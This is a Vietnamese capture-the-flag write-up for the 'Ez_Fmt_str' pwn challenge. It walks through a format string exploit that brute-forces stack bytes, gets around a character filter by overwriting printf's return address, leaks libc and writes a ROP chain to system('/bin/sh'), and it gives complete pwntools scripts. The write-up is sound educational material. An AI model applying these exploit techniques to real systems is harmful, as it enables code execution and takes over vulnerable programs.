😞Pwn06 - Ez_Fmt_str
Challenge
Challenge
3 file mà mình nhận được:

Patched nó trước tiên.

Script
Script


Ta xem qua source của nó thì nó từ chối những kí tự sau đây:


Để làm được các dạng bài format strings như này thì cần phải leak được stack, leak được libc
Cụ thể thì tôi sẽ follow nó như sau
Bước 1: Xác định con trỏ trả về


Xem kĩ hơn thì ta thấy được 2 con trỏ cần thiết cho việc khai thác này nó ở vị trí offset thứ 21(0x78)
, 36(0xf0)
và 49(0x158)
.
Bước 2: Leak địa chỉ stack và libc
Để leak được 1 địa chỉ nào đó ra bên ngoài ta buộc phải sử dụng %p. Mà %p đang bị restrict bởi hàm restrict vậy tôi sẽ chọn cách ghi đè như sau:

Nhưng để ghi đè được thì ta phải có địa chỉ của stack:

Do địa chỉ của stack chỉ khác nhau ở các 2 bytes cuối. Vậy nên tôi sẽ brute force 1 chút.
Biết được 2 bytes cuối thông qua format %c

Vậy payload để tôi leak sẽ là:
from pwn import *
elf = context.binary = ELF("./ez_fmt_patched")
libc = ELF("./libc.so.6")
r = elf.process()
def debug():
context.log_level = "DEBUG"
debug()
gdb.attach(r, '''
b*main+112\n
c
''')
r.sendlineafter(b"Service :##", b"%21$c")
r.recv()
last_byte = u8(r.recv(1))
log.success(f"Last byte: {hex(last_byte)}")
r.interactive()
Đoạn payload trên sẽ leak ra 1 byte cuối cùng của địa chỉ trên stack.
Tiếp đến là guessing nhưng tôi sẽ guessing phần input:


Bây giờ tôi sẽ ghi đè con trỏ đằng sau input (cụ thể là input + 0x20
- tránh trường hợp bị lỗi và thay đổi đầu vào) vào offset 21 trước và tiến hành ghi byte "1
" vào offset 49. Sau đó leak ra offset (input + 0x20
) và kiểm tra xem nó có bằng byte "1
" hay không. Nếu bằng thì in ra guess byte đó. Phần này sẽ làm điều đó:
guess_byte = 0
for i in range(0x0, 0x100, 0x1):
guess_byte = i * 0x100 + last_byte
log.info(f"Guess byte: {hex(guess_byte)} --> {guess_byte}")
payload = f"%{guess_byte+0x20}c%21$hn|||".encode()
r.sendline(payload)
payload = '%49c%49$hhnmmm'.encode()
r.sendline(payload)
r.sendlineafter(b'mmm\n', b'%10$cmmm') #Leak byte at offset 10, 42, 74
recv = r.recvuntil(b'mmm\n')
if(recv[0] == 49): #0x20
log.success("Breaking by offset 10")
debug()
break
log.success('Guess: %#x' % guess_byte)

Và tôi đã biết được 2 bytes cuối
Để ý 1 xíu nữa thì bạn có thể tìm kiếm ra con trỏ trả về ở hàm printf:

Nó nằm ngay trên input (guess_byte-0x8
).
Và có 1 bộ đôi con trỏ biến môi trường nữa như ảnh sau:

Thứ tự của 2 con trỏ này lần lượt là: offset 0xf8 (37)
và 0x168 (51)
Kết hợp 2 điều trên, tôi sẽ tạo ra 3 payload có chức năng nhảy qua hàm restricted_filter và ghi đè con trỏ %p vào trong payload để có thể leak ra địa chỉ như sau:

Sau khi payload trên được thực hiện, nó sẽ thực hiện leak ra địa chỉ ở offset 49 và thay đổi main+117
thành main+100
payload = f'%{guess_byte-8}c%21$hnmmm'.encode()
#overwrite offset 21 to return address of printf to offset 49 can overwrite to <main+100>
r.sendline(payload)
payload = f'%{guess_byte+8}c%37$hnmmm'.encode() #offset37: 0xf8
r.sendlineafter(b'mmm\n', payload)
# 0x2b + 0x45 == 0x70 == "p" #
payload = f'%{0x45}c%49$hhn%{0x2b}c%51$hhnmmm'.encode()
# 0x45 is last byte of <main+100>
r.sendlineafter(b'mmm\n', payload)
Và pây giờ printf sẽ được gọi 1 lần nữa và leak ra địa chỉ của stack:


Thêm 4 dòng này vào sẽ giúp tôi lấy ra được địa chỉ của stack.
r.recvuntil(b'mmm\n')
r.recv(0x45)
stack = int(r.recv(14), 16) + 8
log.success('Input address: %#x' % stack)
OKE, vậy tôi đã leak được địa chỉ của stack, địa chỉ tiếp theo tôi muốn leak đó là địa chỉ của libc.
Làm tương tự với cách leak của stack

Tôi sẽ tiến hành leak ra địa chỉ của offset 19.
Payload của tôi sẽ kết hợp như sau:

Payload để thực hiện phần này:
payload = f'%{guess_byte-8}c%21$hnmmm'.encode() # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+6}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
val = int.from_bytes(b"9$p", "little") - 0x45
debug()
payload = f"%{0x45}c%10$hhn%{val}c%51$nmmm".encode().ljust(0x20, b"\0") + p64(stack-8)
r.sendlineafter(b"mmm\n", payload)
r.recvuntil(b'0x')
libc.address = int(r.recv(14),16) - 147635
log.success(f"Libc address: {hex(libc.address)}")
Giải thích 1 chút:
Ở dòng 6: tôi sử dụng
guess_byte+6
vì offset thứ 6 của nó ban đầu là %10$p(số 0 là offset 6 đó) nên tôi ghi luôn vào đấy để tránh phải ghi quá nhiều dữ liệu lên server và sau khi payload được printf, nó sẽ chuyển thành %19$pljust(0x20, b"\0")
sẽ padding cho payload của tôi tránh trường hợp lộn xộn dữ liệu do thừa hoặc thiếu byte.stack-8
được thêm vào để khi rip = ret của printf nó sẽ là con trỏmain+100
vừa được ghi vào offset 37 nếu không nó sẽ vẫn giữ nguyên làmain+117
và sau đó lại exit như ảnh bên dưới.

Sau khi leak được 2 địa chỉ quan trọng là buffer(con trỏ input) và địa chỉ libc thì tôi sẽ tiến hành ghi các rop vào để thực thi.
RCE
Sau khi leak xong địa chỉ libc thì tôi nhận được chuỗi stack sau đây:

Tôi sẽ sử dụng 2 con trỏ này để thao tác:

def write(addr, value):
for i in range(3):
val = (value >> (16 * i)) & 0xffff
payload = f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
r.sendlineafter(b'mmm', payload)
payload = f'%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + 6)
r.sendlineafter(b'mmm', payload)
Giải thích:
f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
trước tiên thì khi nhận vào bằng hàm fgets, nó sẽ đẩy con trỏ ở địa chỉ address lên trước tại vị trí offset 10 (
input+0x20
), sau đó tăng 2 bytes/lần và ghi tổng cộng 3 lần 2 byte và 1 lần 2 bytes 0sau đó nó sẽ ghi giá trị của value lần lượt 2 bytes vào offset thứ 10(
input+0x20
)
Payload này sẽ tạo ra 2 con trỏ(như ảnh bạn thấy ở trên) và sau đó chỉnh sửa nó thành các giá trị ROP.
Sau khi ghi thì ta sẽ được chuỗi rop như này:

Nhưng bây giờ con trỏ return của printf không trỏ đến chuỗi rop mà chúng ta vừa ghi, vậy nên tôi sẽ chỉnh sửa và cho nó trả về rop gadget: add rsp, 0x68 ; ret
Phần này sẽ giúp bạn sửa nó:
add_rsp_0x68 = 0x000000000010e4fc
addr = libc.address + add_rsp_0x68
part1 = addr & 0xffff
part2 = (addr >> 16) & 0xffff
part3 = (addr >> 32) & 0xffff
payload = gen_payload([[part1, 'hn', 12], [part2, 'hn', 13], [part3, 'hn', 14]])
payload = payload.ljust(0x30, b'\0') + p64(stack-8 + 0) + p64(stack- 8 + 2) + p64(stack-8+4)
Và hàm generate payload của nó là:
def gen_payload(l):
payload = ''
sum = 0
value = 0
for i in l:
if i[1] == 'hhn':
if i[0] < (sum & 0xff):
value = (i[0] - (sum & 0xff)) + 0x100
else:
value = i[0] - (sum & 0xff)
elif i[1] == 'hn':
if i[0] < (sum & 0xffff):
value = (i[0] - (sum & 0xffff)) + 0x10000
else:
value = i[0] - (sum & 0xffff)
elif i[1] == 'n':
if i[0] < (sum & 0xffffffff):
value = (i[0] - (sum & 0xffffffff)) + 0x100000000
else:
value = i[0] - (sum & 0xffffffff)
sum += value
payload += f'%{value}c%{i[2]}$' + i[1]
return payload.encode()
Tổng kết lại thì tôi có payload như sau:
from pwn import *
elf = context.binary = ELF("./ez_fmt_patched")
libc = ELF("./libc.so.6")
r = elf.process()
def debug():
gdb.attach(r, '''
b*main+112\n
b*printf+198\n
b*restricted_filter\n
b*main+68\n
c
''')
context.log_level='DEBUG'
r.sendlineafter(b"Service :##", b"%21$c|||")
r.recv()
last_byte = u8(r.recv(1))
last_byte = (last_byte - 0x158) & 0xff
log.success(f"Last byte: {hex(last_byte)}")
guess_byte = 0
for i in range(0x0, 0x100, 0x1):
guess_byte = i * 0x100 + last_byte
log.info(f"Guess byte: {hex(guess_byte)} --> {guess_byte}")
payload = f"%{guess_byte+0x20}c%21$hn|||".encode()
r.sendline(payload)
payload = '%50c%49$hhnmmm'.encode()
r.sendline(payload)
r.sendlineafter(b'mmm\n', b'%10$cmmm') #Leak byte at offset 10
recv = r.recvuntil(b'mmm\n')
if(recv[0] == 50): #0x20
log.success("Breaking by offset 10")
break
log.success('Guess: %#x' % guess_byte)
payload = f'%{guess_byte-8}c%21$hnmmm'.encode() # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+8}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
# 0x2b + 0x45 == 0x70 == "p" #
payload = f'%{0x45}c%49$hhn%{0x2b}c%51$hhnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)
r.recvuntil(b'mmm\n')
r.recv(0x45)
stack = int(r.recv(14), 16) + 8
log.success('Input address: %#x' % stack)
payload = f'%{guess_byte-8}c%21$hnmmm'.encode() # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+6}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
val = int.from_bytes(b"9$p", "little") - 0x45
payload = f"%{0x45}c%10$hhn%{val}c%51$nmmm".encode().ljust(0x20, b"\0") + p64(stack-8)
r.sendlineafter(b"mmm\n", payload)
r.recvuntil(b'0x')
libc.address = int(r.recv(14),16) - 147635
log.success(f"Libc address: {hex(libc.address)}")
pop_rdi = 0x0000000000023b72 + libc.address
ret = 400774 + libc.address
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
r.sendline(b"mmm")
def write(addr, value):
for i in range(3):
val = (value >> (16 * i)) & 0xffff
payload = f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
r.sendlineafter(b'mmm', payload)
payload = f'%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + 6)
r.sendlineafter(b'mmm', payload)
write(stack+0x68, pop_rdi)
log.success("OKE")
write(stack+0x70, binsh)
log.success("OKE")
write(stack+0x78, ret)
log.success("OKE")
write(stack+0x80, system)
log.success("OKE")
debug()
def gen_payload(l):
payload = ''
sum = 0
value = 0
for i in l:
if i[1] == 'hhn':
if i[0] < (sum & 0xff):
value = (i[0] - (sum & 0xff)) + 0x100
else:
value = i[0] - (sum & 0xff)
elif i[1] == 'hn':
if i[0] < (sum & 0xffff):
value = (i[0] - (sum & 0xffff)) + 0x10000
else:
value = i[0] - (sum & 0xffff)
elif i[1] == 'n':
if i[0] < (sum & 0xffffffff):
value = (i[0] - (sum & 0xffffffff)) + 0x100000000
else:
value = i[0] - (sum & 0xffffffff)
sum += value
payload += f'%{value}c%{i[2]}$' + i[1]
return payload.encode()
add_rsp_0x68 = 0x000000000010e4fc
addr = libc.address + add_rsp_0x68
part1 = addr & 0xffff
part2 = (addr >> 16) & 0xffff
part3 = (addr >> 32) & 0xffff
payload = gen_payload([[part1, 'hn', 12], [part2, 'hn', 13], [part3, 'hn', 14]])
payload = payload.ljust(0x30, b'\0') + p64(stack-8 + 0) + p64(stack- 8 + 2) + p64(stack-8+4)
r.sendlineafter(b'mmm', payload)
r.interactive()
Và tôi nhận được:

Code chạy 1 vài lần có thể bị lỗi, nhưng vẫn sẽ ra. 🫤
1 vài thứ thú vị mà tôi nhận được:
Đó là việc có thể điều khiển các con trỏ môi trường, nó không phải là cố định.
Khi có 1 hàm nhập dữ liệu và 1 hàm in dữ liệu(lỗ hổng) thì ta có thể chèn thêm bất cứ địa chỉ nào đằng sau chuỗi format sau đó chuỗi format có thể sửa đổi chính địa chỉ mà ta vừa nhập vào đó.
Hoặc ta có thể chỉnh sửa giá trị trong các địa chỉ sau đó có thể dùng
%{offset}$c
để leak ra, sau đó so sánh giá trị chỉnh sửa chúng để kiểm tra tính đúng đắn
Reading funny!!!
Last updated